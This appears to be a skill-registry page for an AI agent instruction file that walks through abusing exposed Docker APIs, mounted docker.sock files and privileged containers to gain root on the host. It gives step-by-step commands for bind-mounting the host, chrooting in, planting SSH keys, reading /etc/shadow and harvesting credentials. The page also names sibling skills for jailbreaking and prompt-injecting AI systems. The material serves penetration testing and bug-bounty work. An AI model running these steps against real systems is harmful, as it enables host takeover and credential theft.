cloud-docker-api-abuse
Skill27 starsChanged 32 days agoMITView on GitHub
Turn an exposed container daemon or an over-privileged container into host compromise — a Docker API on 2375/2376, a mounted docker.sock, or a privileged/`-v /:/host` container. Load when you find an open Docker/containerd socket, port 2375/2376, a container you can run images in, or you landed inside a container and want the host. Signals: 2375/tcp open, /var/run/docker.sock reachable, `docker` group membership, privileged container, host paths mounted in.
2 other projects use a version of this.
Adopted by
Most recently taken up by
- NoorQureshi/roninword for word, first seen Oct 11, 2026
- NoorQureshi/SploitAgentword for word, first seen Oct 11, 2026
Other versions2 projects use a version of this.
Word for word · 2
- NoorQureshi/ronin★ 26100% same
- NoorQureshi/SploitAgent★ 26100% same
Edited · 0
None found.
Wrote their own version · 0
None found.
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository207 other files it gives its agents.
- AGENTS.mdAGENTS.md
- CLAUDE.mdCLAUDE.md
- ad-adcsSkill
- ad-dacl-abuseSkill
- ad-delegation-abuseSkill
- ad-kerberoastingSkill
- ad-pivot-arsenalSkill
- ai-agent-tool-abuseSkill
- ai-insecure-output-handlingSkill
- ai-jailbreakSkill
- ai-llm-dosSkill
- ai-mcp-securitySkill
- ai-model-extractionSkill
- ai-prompt-injectionSkill
- ai-rag-poisoningSkill
- ai-sensitive-data-disclosureSkill
- ai-supply-chainSkill
- ai-system-prompt-leakageSkill
- api-auth-attacksSkill
- api-bolaSkill
- api-fuzzingSkill
- api-graphqlSkill
- api-grpcSkill
- api-mass-assignmentSkill
- api-mongo-agg-facet-bypassSkill
- api-testing-checklistSkill
- api-versioningSkill
- automation-browserSkill
- automation-nuclei-templatesSkill
- automation-recon-pipelineSkill
- cloud-azureSkill
- cloud-container-escapeSkill
- cloud-docker-registrySkill
- cloud-gcpSkill
- cloud-iam-privescSkill
- cloud-imds-ssrfSkill
- cloud-kubernetesSkill
- cloud-s3-exposureSkill
- code-review-cicdSkill
- code-review-cppSkill
- code-review-dangerous-sinksSkill
- code-review-dotnetSkill
- code-review-goSkill
- code-review-iacSkill
- code-review-javaSkill
- code-review-methodologySkill
- code-review-nodejsSkill
- code-review-phpSkill
- code-review-pythonSkill
- code-review-rubySkill
- code-review-rustSkill
- code-review-secrets-detectionSkill
- code-review-soliditySkill
- crypto-oracle-attacksSkill
- crypto-rsa-attacksSkill
- ctf-cryptoSkill
- ctf-forensicsSkill
- ctf-methodologySkill
- ctf-pwnSkill
- ctf-revSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
2 rules. About 0 are common, 1 is distinctive, and 1 is very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈1
Distinctive · estimate
This author's own choices. Worth a look.
1
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 61
Clean up: every container, image, and user you create.
- Very specific: line 64
Read or write a host-only resource from your mounted/escaped context (e.g.
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Docker / container daemon abuse
When it applies
You can reach a container control plane you shouldn't: an unauthenticated Docker API on 2375/tcp
(or 2376 without client-cert auth), a mounted /var/run/docker.sock inside a container you
control, membership in the docker group, or a privileged/host-mounted container. Any of these is
effectively root on the host. Complements cloud-container-escape (which focuses on kernel/runtime
breakouts); this one is about the daemon/socket as the vector.
Why it works
The Docker daemon runs as root and will build/run any container with any mount you ask for. Anyone
who can talk to its API or socket can start a container that bind-mounts the host filesystem
(-v /:/host) or runs --privileged — then read/write host files, add a root user, or chroot in.
There's no privilege boundary between "can use the daemon" and "root on the host".
Method
- Confirm the vector.
- Remote API:
curl http://<host>:2375/versionand/containers/json— a response = unauthenticated control. - In-container socket:
ls -la /var/run/docker.sock;dockerCLI orcurl --unix-socket. dockergroup:id | grep docker.
- Remote API:
- Point the CLI at the daemon (remote):
export DOCKER_HOST=tcp://<host>:2375thendocker ps. - Mount the host and take root — run a container bind-mounting the host root and act on it:
From there: add a privileged user, drop an SSH key intodocker run -v /:/host --rm -it alpine chroot /host sh/root/.ssh/authorized_keys, read/etc/shadow, or (Windows host) pullNTDS/SAM. - Privileged-container escape (already inside one):
--privilegedexposes host devices — mount the host disk (fdisk -l→mount /dev/sdaN /mnt) or abuse cgroups release_agent to run a command as root on the host. - Pull secrets from the daemon: image layers, env vars (
docker inspect), and other containers' filesystems often hold credentials → pivot withrecon/cloud-*.
Gotchas
2376is usually TLS + client-cert — if it rejects you without a cert, it's not the open one;2375is the plaintext/no-auth port to look for.- Read-only or restricted socket mounts may allow listing but not
run— check what verbs work before assuming full control. - Non-destructive by default — creating containers/users changes host state; on bounty confirm
RCE minimally (e.g. read a root-only file) and stop, per
reporting-triage-validation. - Clean up every container, image, and user you create.
Verify success
Read or write a host-only resource from your mounted/escaped context (e.g. /etc/shadow, a file in
another user's home, or a root-owned path) — proving host-level access from the container plane.
References
Docker Engine API docs; docker.sock escape write-ups; MITRE ATT&CK T1610/T1611. Kernel/runtime
breakouts: cloud-container-escape.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

